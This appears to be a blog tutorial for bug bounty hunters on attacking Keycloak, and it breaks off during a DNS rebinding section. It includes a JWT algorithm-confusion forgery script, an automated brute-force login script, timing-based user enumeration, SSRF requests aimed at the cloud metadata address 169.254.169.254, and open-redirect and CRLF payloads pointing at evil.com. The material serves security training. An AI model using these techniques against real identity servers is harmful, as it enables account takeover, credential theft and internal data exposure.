Logo

Search

    Overview
    Keycloak security mastery lab

    Keycloak security mastery lab

    July 17, 2026
    52 min read

    keycloak security mastery lab

    a hands-on bug bounty training guide for keycloak identity and access management. every section has theory, attack surface mapping, sources/sinks, practical exercises, and CVE references.


    table of contents


    protocol foundations

    before we touch any keycloak instance, let me give you the mental model. keycloak is an identity broker that speaks a lot of protocols — OAuth 2.0, OIDC, SAML 2.0 — and each one of those is an attack surface. let’s start with the grant types, because that’s where the money is.

    oauth 2.0 grant types in keycloak

    keycloak implements these grant types at the token endpoint (/realms/{realm}/protocol/openid-connect/token):

    Grant Typegrant_type ValueUse CaseSecurity Notes
    Authorization Codeauthorization_codeBrowser-based appsMost secure; supports PKCE (S256). Default for admin/account consoles.
    Client Credentialsclient_credentialsService-to-service, no userNo refresh token returned. Used for machine accounts.
    Password (ROPC)passwordLegacy, first-party apps onlyExposes credentials directly. Should be disabled via client policies.
    Refresh Tokenrefresh_tokenToken renewalRotation can be enforced. Reuse detection prevents replay.
    Device Authorizationurn:ietf:params:oauth:grant-type:device_codeSmart TV, CLI toolsUser code displayed on device, approved on auth server.
    Token Exchangeurn:ietf:params:oauth:grant-type:token-exchangeDelegation/impersonationV2 (default): internal-to-internal only. V1 (legacy): includes external tokens.
    JWT Bearerurn:ietf:params:oauth:grant-type:jwt-bearerSAML/OIDC bearer assertionIdP-initiated SSO, identity assertions.
    CIBAurn:openid:params:grant-type:cibaBrowserless (ATM, IoT)Push mode only. auth_req_id polling.
    Pre-Authorized Codepre-authorized_codeOID4VCI (verifiable credentials)Experimental. Used with OID4VCI issuance.
    UMA Ticketuma-ticketAuthorization ServicesResource-server requests permission tickets.

    where things get interesting:

    • source: token endpoint accepts grant_type parameter
    • sink: token issuance, session creation
    • attack: test if ROPC can be enabled on clients where it shouldn’t be. test if token exchange can be abused for privilege escalation.

    openid connect endpoints

    keycloak exposes these OIDC endpoints per realm at /realms/{realm}/.well-known/openid-configuration:

    EndpointPathPurpose
    Authorization/realms/{realm}/protocol/openid-connect/authInitiates OIDC flows (browser redirect)
    Token/realms/{realm}/protocol/openid-connect/tokenToken issuance (code exchange, refresh, ROPC, client_credentials)
    Token Introspection/realms/{realm}/protocol/openid-connect/token/introspectToken validation (requires client authentication)
    Token Revocation/realms/{realm}/protocol/openid-connect/revokeToken revocation
    UserInfo/realms/{realm}/protocol/openid-connect/userinfoReturns claims about the authenticated user
    End Session/realms/{realm}/protocol/openid-connect/logoutRP-initiated logout
    JWK Set/realms/{realm}/protocol/openid-connect/certsPublic keys for token verification
    Registration/realms/{realm}/clients-registrations/openid-connectDynamic client registration (RFC 7591)
    Device Authorization/realms/{realm}/protocol/openid-connect/auth/deviceDevice code flow
    Backchannel Authentication/realms/{realm}/protocol/openid-connect/ext/ciba/backchannelCIBA flow
    PAR/realms/{realm}/protocol/openid-connect/ext/par/requestPushed Authorization Requests
    Pushed Logout/realms/{realm}/protocol/openid-connect/logout/pushedBack-channel logout initiation

    keycloak also throws in SAML endpoints:

    • SAML Descriptor: /realms/{realm}/protocol/saml/descriptor
    • SAML Login/Logout/Assertion Consumer: /realms/{realm}/protocol/saml

    what to look for:

    • .well-known/openid-configuration dumps everything — all supported grant types, scopes, claim types, code challenge methods, client authentication methods. this is a passive recon goldmine, don’t sleep on it.
    • every endpoint is a potential injection point for malformed tokens, parameter pollution, and flow confusion attacks.

    saml 2.0 support

    keycloak handles full SAML 2.0 as both IdP and SP:

    BindingAttack Vector
    HTTP-POSTXML Signature Wrapping, assertion injection
    HTTP-RedirectQuery parameter injection, signature stripping
    HTTP-ArtifactArtifact resolution poisoning

    where things break:

    • source: SAML POST binding receives XML in form body
    • sink: assertion processing, user login
    • attack: XML Signature Wrapping (XSW) if the SAML parser doesn’t validate assertion references properly. check for assertion replay if not checking NotOnOrAfter.

    keycloak session architecture

    keycloak maintains three session types:

    1. SSO Session (Browser Session): Created on first authentication. Stored in Keycloak DB/cache. Tied to browser via KEYCLOAK_IDENTITY and KEYCLOAK_SESSION cookies.
    2. Client Session: Per-client session within the SSO session. Stores tokens and session state.
    3. Authentication Session: Temporary session during login flow. Destroyed after authentication completes. Used by SessionCodeChecks to bind session_code and execution parameters.

    the session lifecycle:

    Browser → Authorization Endpoint → Authentication Session created
    → Login Actions Service (authenticate/register/reset-credentials)
    → Session Code Checks validate session_code + execution
    → On success: SSO Session created → ID Token + Access Token + Refresh Token issued
    → Browser stores KEYCLOAK_IDENTITY (FEDERATION scope) and KEYCLOAK_SESSION (FEDERATION_JS scope)
    → Subsequent requests authenticate via cookie → TokenVerifier validates signature

    fingerprinting & recon

    so you found a keycloak instance. now what? let’s figure out what we’re dealing with.

    am i talking to keycloak?

    lab: identify keycloak by cookie names

    after authenticating, inspect response headers for:

    Set-Cookie: KEYCLOAK_IDENTITY=...; path=/auth/realms/...
    Set-Cookie: KEYCLOAK_SESSION=...; path=/auth/realms/...
    Set-Cookie: KEYCLOAK_REMEMBER_ME=... (if remember-me is enabled)

    the KEYCLOAK_IDENTITY cookie is a JWT with iss, sub, aud, exp, iat, session_state claims.

    lab: identify keycloak by url patterns

    keycloak has a very specific URL fingerprint:

    /auth/realms/{realm}
    /auth/realms/{realm}/.well-known/openid-configuration
    /auth/realms/{realm}/protocol/openid-connect/auth
    /auth/realms/{realm}/protocol/saml/descriptor
    /auth/admin/
    /auth/realms/master/protocol/openid-connect/auth (admin console)
    /auth/realms/{realm}/account (account console)
    /auth/realms/{realm}/login-actions/registration
    /auth/realms/{realm}/login-actions/reset-credentials

    lab: identify keycloak by jwt content

    decode any JWT from the target. look for:

    {
    "resource_access": {"client-name": {"roles": [...]}} // Keycloak-specific claim
    "scope": "openid email profile", // OIDC scope claim
    "iss": "https://target.com/auth/realms/master" // Realm in issuer
    }

    lab: identify keycloak by page source

    search HTML source for:

    <meta name="keycloak-version" content="..." />
    <script src=".../auth/resources/..."/>
    <link href=".../auth/resources/..."/>

    version identification

    lab: version via admin api (authenticated)

    Terminal window
    # Requires valid admin JWT token
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/serverinfo | jq '.systemInfo.version'

    why this matters: different versions have different CVEs. cross-reference against:

    lab: version fingerprinting via endpoint behavior

    newer versions support features older ones don’t. test for:

    • DPoP support (added in 18+)
    • Pushed Authorization Requests (added in 18+)
    • CIBA push mode (added in 19+)
    • OID4VCI (experimental in 25+)
    • Passkeys Conditional UI (added in 22+, deprecated 26.3)
    • Verifiable Credentials (added in 26+)

    realm enumeration

    lab: enumerate realms via http

    Terminal window
    # Valid realm returns 200 with realm JSON
    curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/realms/master # 200
    curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/realms/nonexistent # 404
    # Wordlist-based enumeration with Burp Intruder
    # Use common realm names: master, admin, company, sso, production, dev, staging, demo

    source/sink:

    • source: HTTP response status codes and content-length
    • sink: valid realm names used to construct further attacks
    • vulnerability: realm names may leak organizational structure

    client id enumeration

    lab: enumerate client ids

    the authorization endpoint reveals client_ids through different response lengths:

    Terminal window
    # Valid client_id produces a login form (larger response)
    # Invalid client_id produces an error page (smaller response)
    # Standard authorization request
    curl "https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\
    client_id=TARGET_CLIENT&\
    redirect_uri=https://app.example.com/callback&\
    response_type=code&\
    scope=openid&\
    state=RANDOM"
    # Compare response lengths. Valid clients return ~2451 bytes (login page)
    # Invalid clients return different sizes (error page)

    default client ids to test:

    Client IDPurpose
    accountUser account management
    account-consoleAccount web console
    admin-cliAdmin CLI
    admin-consoleAdmin web console
    brokerIdentity brokering
    master-realmMaster realm admin
    security-admin-consoleSecurity admin console
    tolerationInternal

    lab: client access types

    each client has an access type:

    • Public: No secret needed. Can initiate login. (e.g., account-console)
    • Confidential: Has a client_secret. Can initiate login. Used for server-side apps.
    • Bearer-Only: No secret needed for token validation. Cannot initiate login. Used for APIs.

    attack: if you find a client_secret leaked in source code, JS files, or .env files, you can:

    1. Exchange authorization codes for tokens
    2. Use client_credentials grant to get service account tokens
    3. Perform token exchange

    scope enumeration

    lab: enumerate scopes

    Terminal window
    # Add scopes to the authorization request and check for changes in the consent screen
    curl "https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\
    client_id=account-console&\
    redirect_uri=https://target.com/auth/realms/{realm}/account/\
    &response_type=code&\
    scope=openid+profile+email+address+phone+offline_access+uma_authorization+microprofile-jwt&\
    state=RANDOM"

    default scopes in keycloak:

    ScopeClaims
    openidsub
    profilename, family_name, given_name, middle_name, nickname, preferred_username, profile, picture, website, gender, birthdate, zoneinfo, locale, updated_at
    emailemail, email_verified
    addressaddress
    phonephone_number, phone_number_verified
    offline_accessOffline refresh tokens
    uma_authorizationUMA permission tickets
    web-originsAllowed CORS origins
    role_listRole mappings
    microprofile-jwtGroups claim

    attack: concatenating scopes forces keycloak to grant additional claims:

    scope=openid+email+phone+profile+offline_access

    this reveals user email, phone, profile data, and issues long-lived offline tokens if the user has the role.

    identity provider enumeration

    lab: enumerate configured idps

    Terminal window
    # Enumerate IDP aliases
    curl -s https://target.com/auth/realms/{realm}/broker/{idp_alias}/endpoint | head -1
    # Returns 302 to the IdP login page if configured
    # Returns 404 if not configured

    default idp aliases to test:

    AliasProvider
    githubGitHub
    googleGoogle
    facebookFacebook
    twitterTwitter
    microsoftMicrosoft/Azure AD
    linkedinLinkedIn
    gitlabGitLab
    instagramInstagram
    bitbucketBitbucket
    stackoverflowStack Overflow
    paypalPayPal
    openshiftOpenShift

    attack: idp enumeration reveals the target’s technology stack and potential SSO trust relationships. a misconfigured idp can be exploited for account takeover via the first-broker-login flow.

    service discovery

    lab: port scanning

    default keycloak ports (WildFly distribution):

    PortProtocolPurpose
    8080HTTPMain application (default)
    8443HTTPSMain application with TLS
    9990HTTPManagement console (WildFly)
    9993HTTPSManagement console (TLS)
    7600TCPInfinispan/JDG
    45700TCPJGroups

    lab: admin console exposure

    https://target.com/auth/admin/

    if this is accessible without VPN/IP restriction, that’s a high-severity finding. the admin console gives full control over all realms, users, clients, and configurations.


    authentication flow exploitation

    keycloak’s auth flows are directed acyclic graphs (DAGs) of executions. sounds fancy but it’s really just a decision tree with some quirks.

    flow architecture

    keycloak authentication flows look like this:

    Flow: Browser Flow (realm default)
    ├── Cookie (Alternative) - Checks KEYCLOAK_IDENTITY cookie for SSO
    ├── Kerberos (Alternative) - SPNEGO authentication
    ├── Identity Provider Redirector (Alternative) - Redirects to external IDP
    └── Forms (Required, sub-flow)
    ├── Username Password Form (Alternative)
    └── Browser Conditional 2FA (Conditional sub-flow)
    ├── OTP Form (Alternative)
    ├── WebAuthn (Alternative)
    ├── WebAuthn Passwordless (Alternative)
    └── Recovery Codes (Alternative)

    requirement types:

    • Required: ALL must succeed. Cannot be skipped.
    • Alternative: First to succeed is sufficient. Others tried if one fails.
    • Disabled: Not executed.
    • Conditional: Boolean condition gates execution of a sub-flow.

    flow bypass via alternative execution logic

    lab: understanding alternative execution

    the DefaultAuthenticationFlow processes alternative executions as follows:

    1. Process first alternative. If it returns a challenge (form), return it to user.
    2. If it returns failure, mark as ATTEMPTED and try the next alternative.
    3. If all alternatives fail, the flow fails.

    attack: if an admin adds a strong 2FA method (WebAuthn) as an Alternative alongside OTP, and the user doesn’t have WebAuthn configured, the flow falls through to OTP. check if any weak alternative exists that can be exploited.

    lab: conditional sub-flow bypass

    conditional sub-flows use these conditions:

    • ConditionalUserAttributeValue - User attribute check
    • ConditionalUserConfiguredAuthenticator - Credential check
    • ConditionalRoleAuthenticator - Role check
    • ConditionalClientScopeAuthenticator - Client scope check
    • ConditionalLoaAuthenticator - Level of assurance (ACR) check
    • ConditionalSubFlowExecutedAuthenticator - Prior sub-flow execution check

    attack: if a conditional sub-flow uses ConditionalRoleAuthenticator and the user can manipulate their role (e.g., via a separate vulnerability), they can bypass the condition.

    registration flow exploitation

    lab: self-registration testing

    https://target.com/auth/realms/{realm}/login-actions/registration?\
    client_id={realm}&\
    tab_id={session_code}

    attack vectors:

    1. Hidden registration: Even if the UI hides the registration link, the endpoint may still work.
    2. Email verification bypass: If email verification is disabled, create accounts with arbitrary emails.
    3. Mass registration: If no CAPTCHA/rate-limit, automate account creation.
    4. Required actions abuse: After registration, force required actions (e.g., password change, email verification) to create denial-of-service.

    lab: registration form injection

    the registration form uses FreeMarker templates. if the theme allows custom templates:

    /home/hxuu/personal/keycloak/themes/{theme-name}/login/register.ftl

    attack: SSTI (Server-Side Template Injection) via FreeMarker if user input reaches template rendering without sanitization. FreeMarker supports ${...} expressions that can access Java objects.

    reset credentials flow

    lab: reset flow session handling

    the reset credentials flow uses fork() to create a new browser flow:

    1. User submits email on reset form
    2. ResetCredentialEmail action token is generated with lifespan
    3. Email link leads to /login-actions/reset-credentials with key parameter
    4. New browser flow created via fork()
    5. User sets new password

    attack vectors:

    1. Session fixation via fork: the fork() mechanism clones the authentication session. if the session ID is predictable or the fork doesn’t properly bind to the original session, session fixation may be possible.
    2. Action token abuse: action tokens have configurable lifespans. if long-lived (default 12 hours for admin-generated), they can be replayed.
    3. Email enumeration: different error messages for existing vs. non-existing emails.

    lab: email enumeration via reset

    Terminal window
    # Existing email: different response than non-existing
    curl -s -o /dev/null -w "%{http_code}\n%{size_download}" \
    -X POST "https://target.com/auth/realms/{realm}/login-actions/reset-credentials" \
    -d "username=existing@example.com&execution=..."
    curl -s -o /dev/null -w "%{http_code}\n%{size_download}" \
    -X POST "https://target.com/auth/realms/{realm}/login-actions/reset-credentials" \
    -d "username=nonexistent@example.com&execution=..."

    first broker login flow

    lab: broker flow execution

    the first broker login flow runs when a user logs in via an external IdP for the first time:

    1. IdpDetectExistingBrokerUser - Check if user exists
    2. IdpCreateUserIfUnique - Create new user if unique
    3. IdpReviewProfile - Show profile review form
    4. IdpEmailVerification - Verify email
    5. IdpConfirmLink / IdpAutoLink - Link accounts
    6. IdpUsernamePasswordForm - Link to existing account

    attack vectors:

    1. Auto-linking bypass: if IdpAutoLink is configured, any IdP identity auto-links without user confirmation.
    2. Account takeover via IdP: if the first-broker-login flow doesn’t verify email ownership, an attacker can register an IdP account with a victim’s email and have it auto-linked.
    3. Flow confusion: if the flow allows both “create new user” and “link to existing” simultaneously, an attacker may race to create an account.

    direct access grant (ropc) flow

    lab: ropc token issuance

    Terminal window
    # ROPC flow - sends credentials directly
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=password&\
    client_id={client_id}&\
    username={username}&\
    password={password}&\
    scope=openid"
    # With client_secret
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=password&\
    client_id={client_id}&\
    client_secret={secret}&\
    username={username}&\
    password={password}"

    attack vectors:

    1. ROPC should be disabled: if a client allows ROPC, it bypasses browser-based security controls (CSRF tokens, CAPTCHA, conditional UI).
    2. MFA bypass: ROPC uses its own flow (Direct Access Grant Flow) which may not include MFA steps configured in the Browser flow.
    3. Rate limiting bypass: ROPC doesn’t have the same CSRF protections as browser flows.

    oauth 2.0 / oidc token attacks

    this is where things get fun. tokens are the keys to the kingdom, and keycloak gives you a lot of them.

    authorization code interception

    lab: authorization code replay

    Terminal window
    # 1. Intercept the authorization code from the redirect
    GET https://app.example.com/callback?code=AUTH_CODE&state=STATE
    # 2. Exchange it (valid for only 60 seconds by default - DEFAULT_ACCESS_CODE_LIFESPAN)
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=authorization_code&\
    code={AUTH_CODE}&\
    redirect_uri=https://app.example.com/callback&\
    client_id={client_id}"
    # 3. If PKCE is not enforced, try with a different redirect_uri

    key settings:

    • Default authorization code lifespan: 60 seconds (DEFAULT_ACCESS_CODE_LIFESPAN)
    • Authorization code is one-time use
    • PKCE (S256) should be enforced for public clients

    lab: pkce bypass testing

    Terminal window
    # If PKCE is required (S256), the code_verifier must match the code_challenge
    # 1. Generate code_verifier
    CODE_VERIFIER=$(openssl rand -base64 32 | tr -d '=+/' | head -c 43)
    # 2. Generate code_challenge
    CODE_CHALLENGE=$(echo -n "$CODE_VERIFIER" | openssl dgst -sha256 -binary | base64 | tr -d '=+/')
    # 3. Include in auth request
    # ...&code_challenge=$CODE_CHALLENGE&code_challenge_method=S256
    # 4. Include code_verifier in token request
    # ...&code_verifier=$CODE_VERIFIER
    # If PKCE is NOT enforced, try the plain method:
    # ...&code_challenge=$CODE_VERIFIER&code_challenge_method=plain

    refresh token abuse

    lab: refresh token rotation testing

    Terminal window
    # Use refresh token to get new tokens
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
    -d "grant_type=refresh_token&\
    refresh_token={REFRESH_TOKEN}&\
    client_id={client_id}"
    # If rotation is enabled, the old refresh token is invalidated
    # If rotation is NOT enabled, the same refresh token can be reused

    keycloak refresh token behavior:

    • Refresh Token Grant Type validates: session validity, user enabled, client match
    • validateTokenReuse() prevents replay by tracking refreshTokenId and useCount
    • verifyConfirmationBinding() checks mTLS HoK or DPoP binding if configured
    • Offline refresh tokens (offline_access scope) never expire and persist across sessions

    attack:

    1. Refresh token theft: if refresh tokens are not bound to holder-of-key, stolen tokens provide persistent access.
    2. Offline token abuse: if offline_access scope is available to regular users, they get long-lived tokens that survive session logout.
    3. Refresh token replay without rotation: if refresh token rotation is suppressed, stolen tokens provide indefinite access.

    token introspection abuse

    lab: token introspection

    Terminal window
    # Requires client authentication (confidential client)
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token/introspect" \
    -u "{client_id}:{client_secret}" \
    -d "token={ACCESS_TOKEN}"
    # Response reveals: active, sub, client_id, scope, exp, iat, ...

    attack: if you compromise a client_secret, introspect any token to learn about other users’ sessions. that’s a nice little privilege escalation right there.

    token revocation

    lab: token revocation testing

    Terminal window
    # Revoke a refresh token (also revokes associated access token)
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/revoke" \
    -u "{client_id}:{client_secret}" \
    -d "token={REFRESH_TOKEN}&token_type_hint=refresh_token"
    # Revoke only the access token (refresh token may still work)
    curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/revoke" \
    -u "{client_id}:{client_secret}" \
    -d "token={ACCESS_TOKEN}&token_type_hint=access_token"

    jwt algorithm confusion & token manipulation

    this is the section where we talk about forging tokens. if you’ve ever wanted to feel like a movie hacker, this is your moment.

    supported algorithms

    keycloak supports these signing algorithms for realm/client keys:

    AlgorithmTypeSecurity
    RS256, RS384, RS512RSA PKCS#1 v1.5Default is RS256. RS512 is stronger.
    PS256, PS384, PS512RSA PSSStrongest RSA variant.
    ES256, ES384, ES512ECDSACompact signatures. ES512 is strongest.
    HS256, HS384, HS512HMACSecret-based. Used for INTERNAL tokens only.

    default: RS256 for external tokens, HS512 for internal tokens.

    algorithm confusion attack (rs256 → hs256)

    lab: algorithm confusion test

    import jwt
    import requests
    # 1. Fetch the public RSA key
    jwks = requests.get("https://target.com/auth/realms/{realm}/protocol/openid-connect/certs").json()
    rsa_key = jwt.algorithms.RSAAlgorithm.from_jwk(jwks['keys'][0])
    # 2. Sign a token with HS256 using the RSA public key as the HMAC secret
    # This works because some libraries treat "alg": "HS256" as HMAC with the provided key
    payload = {
    "sub": "admin",
    "realm_access": {"roles": ["admin"]},
    "exp": 9999999999
    }
    # Use the RSA public key bytes as HMAC secret
    pub_key_bytes = rsa_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    forged_token = jwt.encode(payload, pub_key_bytes, algorithm="HS256")
    print(forged_token)
    # 3. Test if the server accepts it
    response = requests.get(
    "https://target.com/auth/realms/{realm}/protocol/openid-connect/userinfo",
    headers={"Authorization": f"Bearer {forged_token}"}
    )
    print(response.status_code, response.json())

    mitigation: keycloak does validate the kid header against registered keys, and uses the key’s algorithm for verification. however, older versions or custom configurations may be vulnerable. always worth checking.

    internal token signing (hs512)

    keycloak uses INTERNAL_SIGNATURE_ALGORITHM = HS512 for internal tokens:

    • Session tokens stored in cookies
    • State checker tokens
    • Action tokens
    • Internal authentication cookies

    attack: if the internal signing secret is compromised (e.g., via SSRF, deserialization, or config leak), all internal tokens can be forged. that’s game over, basically.

    token claim manipulation

    lab: jwt claim injection

    after obtaining a valid token, decode and inspect:

    Terminal window
    # Decode without verification
    echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
    # Look for:
    # - realm_access.roles (Keycloak-specific)
    # - resource_access.{client}.roles (client-specific roles)
    # - scope (granted scopes)
    # - acr (authentication context class reference)
    # - email_verified
    # - groups (if configured)
    # - session_state
    # - iss (issuer - realm URL)
    # - aud (audience)

    key claims to tamper with:

    ClaimAttack
    subChange subject to another user
    emailChange email claim
    acrDowngrade authentication level
    scopeAdd scopes not originally granted
    realm_access.rolesAdd admin roles
    audChange audience to target another service
    expExtend token lifetime
    nbfBackdate token

    brute force & credential attacks

    sometimes the simplest attack is the best attack. keycloak has brute force protection, but is it actually turned on?

    brute force protection analysis

    lab: check if brute force protection is enabled

    Terminal window
    # Admin API check (requires admin token)
    curl -H "Authorization: Bearer $ADMIN_TOKEN" \
    https://target.com/auth/admin/realms/{realm} | jq '.bruteForceProtected'
    # Default: false (DISABLED)
    # Default failure factor: 30
    # Default max failure wait: 900 seconds (15 minutes)
    # Default wait increment: 60 seconds
    # Default max delta time: 12 hours (43200 seconds)

    three brute force modes:

    1. Lockout permanently: Account disabled until admin re-enables
    2. Lockout temporarily: Account disabled for increasing durations
    3. Lockout temporarily then permanently: Mixed mode

    attack: if brute force protection is disabled (default), perform unlimited login attempts. yes, really. it’s off by default.

    brute force bypass techniques

    lab: csrf token extraction for automated brute force

    import requests
    import re
    # 1. Load login page to get session_code (CSRF token)
    login_page = requests.get(f"https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\
    client_id={client_id}&\
    redirect_uri={redirect_uri}&\
    response_type=code&\
    scope=openid&\
    state=RANDOM")
    # Extract session_code from hidden form field
    session_code = re.search(r'name="session_code"\s+value="([^"]+)"', login_page.text).group(1)
    execution = re.search(r'name="execution"\s+value="([^"]+)"', login_page.text).group(1)
    # 2. Submit login with extracted session_code
    login_response = requests.post(
    f"https://target.com/auth/realms/{realm}/login-actions/authenticate?\
    execution={execution}&\
    session_code={session_code}&\
    tab_id=TAB_ID",
    data={
    "username": "target_user",
    "password": "attempt_password",
    "session_code": session_code,
    "execution": execution,
    "tab_id": "TAB_ID"
    },
    allow_redirects=False
    )
    # 3. Check for 302 redirect (success) vs 200 (failure)
    print(f"Status: {login_response.status_code}")
    print(f"Location: {login_response.headers.get('Location', 'No redirect')}")

    lab: quick login detection bypass

    the brute force protector has a “quick login check”:

    // If login attempt happens within `quickLoginCheckMilliSeconds` (default 1000ms)
    // of last failure, enforce `minimumQuickLoginWaitSeconds` (default 60s)

    attack: space login attempts more than 1 second apart to avoid quick login detection. or use the Quick Login Check Milliseconds to find the timing window. tiny window, but exploitable.

    credential stuffing against ldap-backed users

    lab: ldap user enumeration via login response

    when keycloak uses LDAP federation, authentication errors may differ:

    • Local user with wrong password: Standard error
    • LDAP user with wrong password: May take longer (network latency to LDAP)
    • Non-existent user: Different timing
    import time
    users = ["admin", "user1", "user2", "test"]
    for user in users:
    start = time.time()
    # Login attempt
    requests.post(f"https://target.com/auth/realms/{realm}/protocol/openid-connect/token", data={
    "grant_type": "password",
    "username": user,
    "password": "wrong",
    "client_id": client_id
    })
    elapsed = time.time() - start
    print(f"{user}: {elapsed:.3f}s")

    csrf & session attacks

    keycloak has multiple CSRF protection layers. let’s see which ones we can trip over.

    csrf protection mechanisms

    keycloak implements multiple CSRF layers:

    MechanismCookie/TokenScope
    Login actions CSRFKC_STATE_CHECKERProtects /login-actions/* endpoints
    Welcome page CSRFWELCOME_STATE_CHECKERProtects initial admin creation
    Account consoleState cookie in hidden fieldProtects account console actions
    SecureSessionEnforceRequires nonce/stateClient-side OIDC/OAuth CSRF

    detachedinfostatechecker bypass

    lab: understanding state checker flow

    # 1. The state_checker is a JWT stored in AUTH_DETACHED cookie
    # 2. On login actions, a kc_state_checker parameter is required
    # 3. The parameter is compared against currentUrlState or renderedUrlState
    # Extract AUTH_DETACHED cookie
    auth_detached = session.cookies.get("AUTH_DETACHED")
    # Decode it (it's a JWT)
    import base64, json
    payload = auth_detached.split('.')[1]
    # Pad for base64
    payload += "=" * (4 - len(payload) % 4)
    decoded = json.loads(base64.urlsafe_b64decode(payload))
    print(decoded) # Contains kc_state_checker, currentUrlState, renderedUrlState

    attack: if the AUTH_DETACHED cookie has SameSite=Strict but the request originates from a different tab/window, the cookie won’t be sent. however, if the attacker can set cookies (e.g., via XSS), they can inject a forged state_checker.

    session fixation

    lab: session id rotation on authentication

    # 1. Note the authentication session ID before login
    auth_session_before = session.cookies.get("AUTH_SESSION_ID")
    # 2. Complete login
    # ... login flow ...
    # 3. Check if the session ID changed
    auth_session_after = session.cookies.get("AUTH_SESSION_ID")
    # If the session ID didn't change, this is session fixation

    keycloak’s SessionCodeChecks binds session_code and execution parameters, but the AUTH_SESSION_ID cookie itself may persist across authentication if not explicitly invalidated.

    tab-session isolation

    lab: multiple tab session sharing

    # Keycloak tracks sessions per "tab" (browser tab)
    # Each tab gets its own client_session_state
    # The KEYCLOAK_SESSION cookie contains: {realm}/{session_id}/{client_id}/{tab_id}
    # Test: Can a session from one tab be used in another?
    # 1. Open login in Tab 1, get session cookies
    # 2. Use those cookies in Tab 2
    # 3. If session is shared, there may be no tab isolation
    # The KEYCLOAK_SESSION cookie format:
    # master/a1b2c3d4-e5f6-7890-abcd-ef1234567890/account-console/12345
    # realm / session_id / client_id / tab_id

    open redirect & uri validation attacks

    redirects are a classic web vuln. keycloak has some interesting twist on them.

    redirect uri validation

    lab: wildcard redirect uri testing

    Terminal window
    # Check what redirect URIs are registered for a client
    # Via OIDC discovery (if client is public)
    curl https://target.com/auth/realms/{realm}/.well-known/openid-configuration | jq '.redirect_uris_supported'
    # Common wildcard patterns:
    # /admin/{realm}/console/* (admin console - internal)
    # /account/{realm}/* (account console - internal)
    # https://*.example.com/* (wildcard subdomain)
    # https://app.example.com/* (wildcard path)

    attack: open redirect via wildcard

    Terminal window
    # If a client has redirect_uri = https://*.example.com/*
    # Try: https://evil.example.com/callback
    # Or: https://example.com@evil.com/callback (URL confusion)
    # Or: https://example.com%0d%0a%0d%0aLocation:%20http://evil.com (CRLF injection)

    redirect uri bypass techniques

    lab: fragment-based bypass

    Terminal window
    # If redirect_uri = https://app.example.com/callback
    # Try: https://app.example.com/callback#https://evil.com
    # Some parsers only check the path before the fragment

    lab: subdomain takeover via redirect

    Terminal window
    # If redirect_uri = https://*.example.com/*
    # And a subdomain (e.g., old.example.com) has expired DNS
    # Register old.example.com, set up server to capture callback
    # The authorization code will be sent to your server

    lab: url parsing confusion

    # Different parsers handle URLs differently:
    import urllib.parse
    from urllib.parse import urlparse
    urls = [
    "https://app.example.com/callback@evil.com",
    "https://app.example.com%40evil.com/callback",
    "https://app.example.com/callback/../evil/callback",
    "https://app.example.com:443@evil.com/callback",
    ]
    for url in urls:
    parsed = urlparse(url)
    print(f"URL: {url}")
    print(f" hostname: {parsed.hostname}")
    print(f" path: {parsed.path}")
    print()

    post-logout redirect manipulation

    lab: post-logout redirect abuse

    Terminal window
    # Post-logout redirect can be abused if not properly validated
    curl "https://target.com/auth/realms/{realm}/protocol/openid-connect/logout?\
    post_logout_redirect_uri=https://evil.com&\
    id_token_hint={ID_TOKEN}"

    mitigation: keycloak validates post_logout_redirect_uri against the client’s registered post-logout redirect URIs (or redirect URIs if INCLUDE_REDIRECTS is used).


    ssrf via keycloak

    keycloak makes a lot of server-side requests. every single one of those is a potential SSRF vector.

    ssrf attack surfaces

    keycloak makes server-side requests in these scenarios:

    FeatureEndpoint/FieldSSRF Vector
    JWKS URIClient jwksUri settingKeycloak fetches signing keys from this URL
    Identity ProviderOIDC/SAML IdP endpointsKeycloak redirects to IdP URLs
    Social LoginOAuth2 provider endpointsToken/userinfo exchange requests
    User FederationLDAP bind/searchServer makes LDAP connections
    Admin EventsAdmin event storageMay include URLs in event data
    Email SMTPMail server configurationSMTP server URL
    ThemesRemote theme resourcesFetching custom themes
    OIDC DiscoveryIdP metadata URLsFetching OpenID Provider configuration
    CIBAAuthentication ChannelHTTP callback to client

    ssrf via jwks uri

    lab: jwks uri ssrf

    Terminal window
    # 1. Create a client with JWKS URI pointing to internal service
    curl -X POST "https://target.com/auth/admin/realms/{realm}/clients" \
    -H "Authorization: Bearer $ADMIN_TOKEN" \
    -H "Content-Type: application/json" \
    -d '{
    "clientId": "ssrf-test",
    "publicClient": true,
    "protocol": "openid-connect",
    "attributes": {
    "publicKeySignatureUrl": "http://169.254.169.254/latest/meta-data/"
    }
    }'
    # 2. Trigger a token request that uses the JWKS URI
    # 3. Check if Keycloak made a request to the metadata endpoint

    mitigation: use Client Policies with Secure Client URIs Pattern executor to validate JWKS URIs against allowlist patterns.

    ssrf via identity provider configuration

    lab: idp ssrf

    Terminal window
    # Configure an OIDC IdP with internal endpoints
    curl -X POST "https://target.com/auth/admin/realms/{realm}/identity-providers" \
    -H "Authorization: Bearer $ADMIN_TOKEN" \
    -d '{
    "alias": "ssrf-idp",
    "providerId": "oidc",
    "config": {
    "authorizationUrl": "http://169.254.169.254/latest/meta-data/",
    "tokenUrl": "http://169.254.169.254/latest/meta-data/",
    "clientId": "test",
    "clientSecret": "test"
    }
    }'
    # Try to login via this IdP
    curl "https://target.com/auth/realms/{realm}/broker/ssrf-idp/endpoint"

    dns rebinding

    lab: dns rebinding attack

    # 1. Register a domain that first resolves to a safe IP
